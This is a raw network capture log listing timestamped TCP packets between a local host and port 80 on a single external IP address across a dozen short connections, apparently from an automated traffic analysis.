May 27, 2024 08:33:17.072757959 CEST	49771	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:17.072772980 CEST	49771	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:17.077505112 CEST	80	49771	45.61.137.215	192.168.2.4
May 27, 2024 08:33:17.077547073 CEST	80	49771	45.61.137.215	192.168.2.4
May 27, 2024 08:33:17.077557087 CEST	80	49771	45.61.137.215	192.168.2.4
May 27, 2024 08:33:17.077575922 CEST	80	49771	45.61.137.215	192.168.2.4
May 27, 2024 08:33:17.077585936 CEST	49771	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:17.077621937 CEST	49771	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:17.077682018 CEST	49771	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:17.250406027 CEST	49772	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:17.256416082 CEST	80	49772	45.61.137.215	192.168.2.4
May 27, 2024 08:33:17.256548882 CEST	49772	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:17.259500027 CEST	49772	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:17.264957905 CEST	80	49772	45.61.137.215	192.168.2.4
May 27, 2024 08:33:17.265038967 CEST	49772	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:17.270812035 CEST	80	49772	45.61.137.215	192.168.2.4
May 27, 2024 08:33:19.423681021 CEST	80	49772	45.61.137.215	192.168.2.4
May 27, 2024 08:33:19.423752069 CEST	80	49772	45.61.137.215	192.168.2.4
May 27, 2024 08:33:19.423805952 CEST	80	49772	45.61.137.215	192.168.2.4
May 27, 2024 08:33:19.423850060 CEST	49772	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:19.423870087 CEST	80	49772	45.61.137.215	192.168.2.4
May 27, 2024 08:33:19.423918962 CEST	80	49772	45.61.137.215	192.168.2.4
May 27, 2024 08:33:19.423918962 CEST	49772	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:19.423943996 CEST	49772	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:19.423966885 CEST	49772	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:19.423968077 CEST	80	49772	45.61.137.215	192.168.2.4
May 27, 2024 08:33:19.424015999 CEST	80	49772	45.61.137.215	192.168.2.4
May 27, 2024 08:33:19.424021006 CEST	49772	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:19.424063921 CEST	80	49772	45.61.137.215	192.168.2.4
May 27, 2024 08:33:19.424068928 CEST	49772	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:19.424110889 CEST	80	49772	45.61.137.215	192.168.2.4
May 27, 2024 08:33:19.424114943 CEST	49772	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:19.424144983 CEST	80	49772	45.61.137.215	192.168.2.4
May 27, 2024 08:33:19.424164057 CEST	49772	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:19.424190044 CEST	49772	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:19.428968906 CEST	80	49772	45.61.137.215	192.168.2.4
May 27, 2024 08:33:19.428996086 CEST	80	49772	45.61.137.215	192.168.2.4
May 27, 2024 08:33:19.429003954 CEST	80	49772	45.61.137.215	192.168.2.4
May 27, 2024 08:33:19.429022074 CEST	49772	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:19.429059029 CEST	49772	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:19.431441069 CEST	49772	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:19.567591906 CEST	49773	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:19.572649002 CEST	80	49773	45.61.137.215	192.168.2.4
May 27, 2024 08:33:19.572743893 CEST	49773	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:19.575651884 CEST	49773	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:19.581020117 CEST	80	49773	45.61.137.215	192.168.2.4
May 27, 2024 08:33:19.581087112 CEST	49773	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:19.586661100 CEST	80	49773	45.61.137.215	192.168.2.4
May 27, 2024 08:33:21.748455048 CEST	80	49773	45.61.137.215	192.168.2.4
May 27, 2024 08:33:21.748539925 CEST	80	49773	45.61.137.215	192.168.2.4
May 27, 2024 08:33:21.748595953 CEST	80	49773	45.61.137.215	192.168.2.4
May 27, 2024 08:33:21.748644114 CEST	80	49773	45.61.137.215	192.168.2.4
May 27, 2024 08:33:21.748641014 CEST	49773	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:21.748713970 CEST	49773	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:21.748728991 CEST	80	49773	45.61.137.215	192.168.2.4
May 27, 2024 08:33:21.748752117 CEST	49773	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:21.748783112 CEST	80	49773	45.61.137.215	192.168.2.4
May 27, 2024 08:33:21.748796940 CEST	49773	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:21.748833895 CEST	80	49773	45.61.137.215	192.168.2.4
May 27, 2024 08:33:21.748836040 CEST	49773	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:21.748869896 CEST	80	49773	45.61.137.215	192.168.2.4
May 27, 2024 08:33:21.748886108 CEST	49773	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:21.748889923 CEST	80	49773	45.61.137.215	192.168.2.4
May 27, 2024 08:33:21.748909950 CEST	80	49773	45.61.137.215	192.168.2.4
May 27, 2024 08:33:21.748929024 CEST	49773	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:21.748929024 CEST	49773	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:21.748950958 CEST	49773	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:21.754332066 CEST	80	49773	45.61.137.215	192.168.2.4
May 27, 2024 08:33:21.754403114 CEST	80	49773	45.61.137.215	192.168.2.4
May 27, 2024 08:33:21.754415989 CEST	49773	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:21.754458904 CEST	80	49773	45.61.137.215	192.168.2.4
May 27, 2024 08:33:21.754462004 CEST	49773	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:21.754517078 CEST	49773	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:21.754525900 CEST	80	49773	45.61.137.215	192.168.2.4
May 27, 2024 08:33:21.754581928 CEST	49773	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:21.900548935 CEST	49774	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:21.905553102 CEST	80	49774	45.61.137.215	192.168.2.4
May 27, 2024 08:33:21.905667067 CEST	49774	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:21.908513069 CEST	49774	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:21.913419962 CEST	80	49774	45.61.137.215	192.168.2.4
May 27, 2024 08:33:21.913496017 CEST	49774	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:21.918420076 CEST	80	49774	45.61.137.215	192.168.2.4
May 27, 2024 08:33:23.993746996 CEST	80	49774	45.61.137.215	192.168.2.4
May 27, 2024 08:33:23.993802071 CEST	80	49774	45.61.137.215	192.168.2.4
May 27, 2024 08:33:23.993813992 CEST	80	49774	45.61.137.215	192.168.2.4
May 27, 2024 08:33:23.993820906 CEST	80	49774	45.61.137.215	192.168.2.4
May 27, 2024 08:33:23.993827105 CEST	80	49774	45.61.137.215	192.168.2.4
May 27, 2024 08:33:23.993851900 CEST	80	49774	45.61.137.215	192.168.2.4
May 27, 2024 08:33:23.993868113 CEST	80	49774	45.61.137.215	192.168.2.4
May 27, 2024 08:33:23.993897915 CEST	49774	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:23.993897915 CEST	49774	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:23.993936062 CEST	80	49774	45.61.137.215	192.168.2.4
May 27, 2024 08:33:23.993947983 CEST	80	49774	45.61.137.215	192.168.2.4
May 27, 2024 08:33:23.993989944 CEST	49774	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:23.994025946 CEST	49774	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:23.994159937 CEST	80	49774	45.61.137.215	192.168.2.4
May 27, 2024 08:33:23.994208097 CEST	49774	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:23.998851061 CEST	80	49774	45.61.137.215	192.168.2.4
May 27, 2024 08:33:23.998881102 CEST	80	49774	45.61.137.215	192.168.2.4
May 27, 2024 08:33:23.998892069 CEST	80	49774	45.61.137.215	192.168.2.4
May 27, 2024 08:33:23.998913050 CEST	80	49774	45.61.137.215	192.168.2.4
May 27, 2024 08:33:23.998912096 CEST	49774	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:23.998966932 CEST	49774	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:23.998966932 CEST	49774	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:23.998966932 CEST	49774	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:24.216603994 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:24.221640110 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:24.221714020 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:24.224994898 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:24.229851007 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:24.229907036 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:24.234782934 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.421930075 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.421999931 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.422049046 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.422080040 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.422094107 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:26.422142029 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.422168016 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:26.422187090 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.422233105 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.422245979 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:26.422286987 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.422333956 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.422343016 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:26.422384024 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.422454119 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:26.427496910 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.427546024 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.427594900 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.427608967 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:26.483947992 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:26.512743950 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.512765884 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.512808084 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.512828112 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.512849092 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:26.512855053 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.512876987 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.512901068 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.512919903 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:26.512919903 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:26.513613939 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.513695955 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:26.513740063 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.513758898 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.513811111 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:26.513955116 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.514034986 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.514054060 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.514075041 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.514097929 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:26.514102936 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.514127970 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:26.514781952 CEST	80	49775	45.61.137.215	192.168.2.4
May 27, 2024 08:33:26.514844894 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:26.801402092 CEST	49775	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:28.304959059 CEST	49776	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:28.310101986 CEST	80	49776	45.61.137.215	192.168.2.4
May 27, 2024 08:33:28.310321093 CEST	49776	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:28.312062979 CEST	49776	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:28.317022085 CEST	80	49776	45.61.137.215	192.168.2.4
May 27, 2024 08:33:28.317111969 CEST	49776	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:28.321989059 CEST	80	49776	45.61.137.215	192.168.2.4
May 27, 2024 08:33:30.431902885 CEST	80	49776	45.61.137.215	192.168.2.4
May 27, 2024 08:33:30.431971073 CEST	80	49776	45.61.137.215	192.168.2.4
May 27, 2024 08:33:30.432019949 CEST	80	49776	45.61.137.215	192.168.2.4
May 27, 2024 08:33:30.432066917 CEST	80	49776	45.61.137.215	192.168.2.4
May 27, 2024 08:33:30.432113886 CEST	80	49776	45.61.137.215	192.168.2.4
May 27, 2024 08:33:30.432158947 CEST	80	49776	45.61.137.215	192.168.2.4
May 27, 2024 08:33:30.432204962 CEST	80	49776	45.61.137.215	192.168.2.4
May 27, 2024 08:33:30.432250023 CEST	80	49776	45.61.137.215	192.168.2.4
May 27, 2024 08:33:30.432269096 CEST	49776	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:30.432269096 CEST	49776	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:30.432269096 CEST	49776	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:30.432296991 CEST	80	49776	45.61.137.215	192.168.2.4
May 27, 2024 08:33:30.432346106 CEST	80	49776	45.61.137.215	192.168.2.4
May 27, 2024 08:33:30.432353020 CEST	49776	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:30.432353020 CEST	49776	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:30.432353020 CEST	49776	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:30.432410002 CEST	49776	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:30.437273026 CEST	80	49776	45.61.137.215	192.168.2.4
May 27, 2024 08:33:30.437341928 CEST	80	49776	45.61.137.215	192.168.2.4
May 27, 2024 08:33:30.437346935 CEST	49776	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:30.437402010 CEST	49776	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:30.585294008 CEST	49777	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:30.590507030 CEST	80	49777	45.61.137.215	192.168.2.4
May 27, 2024 08:33:30.590620995 CEST	49777	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:30.592636108 CEST	49777	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:30.597518921 CEST	80	49777	45.61.137.215	192.168.2.4
May 27, 2024 08:33:30.597626925 CEST	49777	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:30.602494955 CEST	80	49777	45.61.137.215	192.168.2.4
May 27, 2024 08:33:32.708559036 CEST	80	49777	45.61.137.215	192.168.2.4
May 27, 2024 08:33:32.708619118 CEST	80	49777	45.61.137.215	192.168.2.4
May 27, 2024 08:33:32.708650112 CEST	80	49777	45.61.137.215	192.168.2.4
May 27, 2024 08:33:32.708683968 CEST	80	49777	45.61.137.215	192.168.2.4
May 27, 2024 08:33:32.708791018 CEST	80	49777	45.61.137.215	192.168.2.4
May 27, 2024 08:33:32.708813906 CEST	49777	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:32.708815098 CEST	49777	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:32.708815098 CEST	49777	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:32.708825111 CEST	80	49777	45.61.137.215	192.168.2.4
May 27, 2024 08:33:32.708863974 CEST	80	49777	45.61.137.215	192.168.2.4
May 27, 2024 08:33:32.708895922 CEST	49777	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:32.708898067 CEST	80	49777	45.61.137.215	192.168.2.4
May 27, 2024 08:33:32.708897114 CEST	49777	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:32.708926916 CEST	49777	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:32.708935022 CEST	80	49777	45.61.137.215	192.168.2.4
May 27, 2024 08:33:32.708970070 CEST	49777	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:32.708970070 CEST	80	49777	45.61.137.215	192.168.2.4
May 27, 2024 08:33:32.708992004 CEST	49777	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:32.709032059 CEST	49777	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:32.714035034 CEST	80	49777	45.61.137.215	192.168.2.4
May 27, 2024 08:33:32.714070082 CEST	80	49777	45.61.137.215	192.168.2.4
May 27, 2024 08:33:32.714106083 CEST	80	49777	45.61.137.215	192.168.2.4
May 27, 2024 08:33:32.714109898 CEST	49777	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:32.714142084 CEST	80	49777	45.61.137.215	192.168.2.4
May 27, 2024 08:33:32.714159012 CEST	49777	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:32.714180946 CEST	49777	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:32.714217901 CEST	49777	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:32.895090103 CEST	49778	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:32.900559902 CEST	80	49778	45.61.137.215	192.168.2.4
May 27, 2024 08:33:32.901452065 CEST	49778	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:32.904351950 CEST	49778	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:32.909375906 CEST	80	49778	45.61.137.215	192.168.2.4
May 27, 2024 08:33:32.909456015 CEST	49778	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:32.914623022 CEST	80	49778	45.61.137.215	192.168.2.4
May 27, 2024 08:33:35.010194063 CEST	80	49778	45.61.137.215	192.168.2.4
May 27, 2024 08:33:35.010226011 CEST	80	49778	45.61.137.215	192.168.2.4
May 27, 2024 08:33:35.010305882 CEST	80	49778	45.61.137.215	192.168.2.4
May 27, 2024 08:33:35.010322094 CEST	80	49778	45.61.137.215	192.168.2.4
May 27, 2024 08:33:35.010338068 CEST	80	49778	45.61.137.215	192.168.2.4
May 27, 2024 08:33:35.010354042 CEST	80	49778	45.61.137.215	192.168.2.4
May 27, 2024 08:33:35.010370016 CEST	80	49778	45.61.137.215	192.168.2.4
May 27, 2024 08:33:35.010385990 CEST	80	49778	45.61.137.215	192.168.2.4
May 27, 2024 08:33:35.010401964 CEST	80	49778	45.61.137.215	192.168.2.4
May 27, 2024 08:33:35.010417938 CEST	80	49778	45.61.137.215	192.168.2.4
May 27, 2024 08:33:35.010554075 CEST	49778	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:35.010555029 CEST	49778	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:35.010642052 CEST	49778	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:35.015619040 CEST	80	49778	45.61.137.215	192.168.2.4
May 27, 2024 08:33:35.015778065 CEST	80	49778	45.61.137.215	192.168.2.4
May 27, 2024 08:33:35.015791893 CEST	80	49778	45.61.137.215	192.168.2.4
May 27, 2024 08:33:35.015908957 CEST	49778	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:35.017452955 CEST	49778	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:35.244064093 CEST	49779	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:35.249247074 CEST	80	49779	45.61.137.215	192.168.2.4
May 27, 2024 08:33:35.249336004 CEST	49779	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:35.317851067 CEST	49779	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:35.323062897 CEST	80	49779	45.61.137.215	192.168.2.4
May 27, 2024 08:33:35.323153973 CEST	49779	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:35.328109026 CEST	80	49779	45.61.137.215	192.168.2.4
May 27, 2024 08:33:37.469744921 CEST	80	49779	45.61.137.215	192.168.2.4
May 27, 2024 08:33:37.469767094 CEST	80	49779	45.61.137.215	192.168.2.4
May 27, 2024 08:33:37.469778061 CEST	80	49779	45.61.137.215	192.168.2.4
May 27, 2024 08:33:37.469788074 CEST	80	49779	45.61.137.215	192.168.2.4
May 27, 2024 08:33:37.469794035 CEST	80	49779	45.61.137.215	192.168.2.4
May 27, 2024 08:33:37.469804049 CEST	80	49779	45.61.137.215	192.168.2.4
May 27, 2024 08:33:37.469815016 CEST	80	49779	45.61.137.215	192.168.2.4
May 27, 2024 08:33:37.469824076 CEST	80	49779	45.61.137.215	192.168.2.4
May 27, 2024 08:33:37.469835043 CEST	80	49779	45.61.137.215	192.168.2.4
May 27, 2024 08:33:37.469846010 CEST	80	49779	45.61.137.215	192.168.2.4
May 27, 2024 08:33:37.470202923 CEST	49779	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:37.470202923 CEST	49779	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:37.475589991 CEST	80	49779	45.61.137.215	192.168.2.4
May 27, 2024 08:33:37.475641012 CEST	80	49779	45.61.137.215	192.168.2.4
May 27, 2024 08:33:37.475670099 CEST	49779	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:37.475682020 CEST	80	49779	45.61.137.215	192.168.2.4
May 27, 2024 08:33:37.475862980 CEST	49779	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:37.475863934 CEST	49779	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:37.611399889 CEST	49780	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:37.616460085 CEST	80	49780	45.61.137.215	192.168.2.4
May 27, 2024 08:33:37.616559029 CEST	49780	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:37.619575024 CEST	49780	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:37.624424934 CEST	80	49780	45.61.137.215	192.168.2.4
May 27, 2024 08:33:37.624476910 CEST	49780	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:37.629410028 CEST	80	49780	45.61.137.215	192.168.2.4
May 27, 2024 08:33:39.727984905 CEST	80	49780	45.61.137.215	192.168.2.4
May 27, 2024 08:33:39.728049040 CEST	80	49780	45.61.137.215	192.168.2.4
May 27, 2024 08:33:39.728085041 CEST	80	49780	45.61.137.215	192.168.2.4
May 27, 2024 08:33:39.728117943 CEST	80	49780	45.61.137.215	192.168.2.4
May 27, 2024 08:33:39.728158951 CEST	80	49780	45.61.137.215	192.168.2.4
May 27, 2024 08:33:39.728193045 CEST	80	49780	45.61.137.215	192.168.2.4
May 27, 2024 08:33:39.728225946 CEST	80	49780	45.61.137.215	192.168.2.4
May 27, 2024 08:33:39.728257895 CEST	80	49780	45.61.137.215	192.168.2.4
May 27, 2024 08:33:39.728291988 CEST	80	49780	45.61.137.215	192.168.2.4
May 27, 2024 08:33:39.728327990 CEST	80	49780	45.61.137.215	192.168.2.4
May 27, 2024 08:33:39.728329897 CEST	49780	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:39.728331089 CEST	49780	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:39.728497982 CEST	49780	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:39.728497982 CEST	49780	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:39.728497982 CEST	49780	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:39.732716084 CEST	49780	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:39.733504057 CEST	80	49780	45.61.137.215	192.168.2.4
May 27, 2024 08:33:39.733550072 CEST	80	49780	45.61.137.215	192.168.2.4
May 27, 2024 08:33:39.733582020 CEST	49780	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:39.733591080 CEST	80	49780	45.61.137.215	192.168.2.4
May 27, 2024 08:33:39.733606100 CEST	49780	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:39.733650923 CEST	49780	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:39.924298048 CEST	49781	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:39.929460049 CEST	80	49781	45.61.137.215	192.168.2.4
May 27, 2024 08:33:39.929653883 CEST	49781	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:39.932615995 CEST	49781	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:39.937907934 CEST	80	49781	45.61.137.215	192.168.2.4
May 27, 2024 08:33:39.938011885 CEST	49781	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:39.944334984 CEST	80	49781	45.61.137.215	192.168.2.4
May 27, 2024 08:33:42.036580086 CEST	80	49781	45.61.137.215	192.168.2.4
May 27, 2024 08:33:42.036607981 CEST	80	49781	45.61.137.215	192.168.2.4
May 27, 2024 08:33:42.036626101 CEST	80	49781	45.61.137.215	192.168.2.4
May 27, 2024 08:33:42.036642075 CEST	80	49781	45.61.137.215	192.168.2.4
May 27, 2024 08:33:42.036659002 CEST	80	49781	45.61.137.215	192.168.2.4
May 27, 2024 08:33:42.036675930 CEST	80	49781	45.61.137.215	192.168.2.4
May 27, 2024 08:33:42.036693096 CEST	80	49781	45.61.137.215	192.168.2.4
May 27, 2024 08:33:42.036708117 CEST	80	49781	45.61.137.215	192.168.2.4
May 27, 2024 08:33:42.036722898 CEST	80	49781	45.61.137.215	192.168.2.4
May 27, 2024 08:33:42.036740065 CEST	80	49781	45.61.137.215	192.168.2.4
May 27, 2024 08:33:42.037029028 CEST	49781	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:42.037110090 CEST	49781	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:42.041954041 CEST	80	49781	45.61.137.215	192.168.2.4
May 27, 2024 08:33:42.042015076 CEST	80	49781	45.61.137.215	192.168.2.4
May 27, 2024 08:33:42.042030096 CEST	80	49781	45.61.137.215	192.168.2.4
May 27, 2024 08:33:42.042045116 CEST	80	49781	45.61.137.215	192.168.2.4
May 27, 2024 08:33:42.042051077 CEST	49781	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:42.042131901 CEST	49781	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:42.042151928 CEST	49781	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:42.185516119 CEST	49782	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:42.191375017 CEST	80	49782	45.61.137.215	192.168.2.4
May 27, 2024 08:33:42.191498995 CEST	49782	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:42.194443941 CEST	49782	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:42.199599028 CEST	80	49782	45.61.137.215	192.168.2.4
May 27, 2024 08:33:42.199796915 CEST	49782	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:42.208488941 CEST	80	49782	45.61.137.215	192.168.2.4
May 27, 2024 08:33:44.488277912 CEST	80	49782	45.61.137.215	192.168.2.4
May 27, 2024 08:33:44.488341093 CEST	80	49782	45.61.137.215	192.168.2.4
May 27, 2024 08:33:44.488378048 CEST	80	49782	45.61.137.215	192.168.2.4
May 27, 2024 08:33:44.488411903 CEST	80	49782	45.61.137.215	192.168.2.4
May 27, 2024 08:33:44.488445997 CEST	80	49782	45.61.137.215	192.168.2.4
May 27, 2024 08:33:44.488476992 CEST	80	49782	45.61.137.215	192.168.2.4
May 27, 2024 08:33:44.488511086 CEST	80	49782	45.61.137.215	192.168.2.4
May 27, 2024 08:33:44.488543034 CEST	80	49782	45.61.137.215	192.168.2.4
May 27, 2024 08:33:44.488550901 CEST	49782	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:44.488550901 CEST	49782	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:44.488552094 CEST	49782	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:44.488552094 CEST	49782	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:44.488576889 CEST	80	49782	45.61.137.215	192.168.2.4
May 27, 2024 08:33:44.488610029 CEST	80	49782	45.61.137.215	192.168.2.4
May 27, 2024 08:33:44.488637924 CEST	49782	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:44.488637924 CEST	49782	80	192.168.2.4	45.61.137.215
May 27, 2024 08:33:44.488639116 CEST	49782	80	192.168.2.4	45.61.137.215
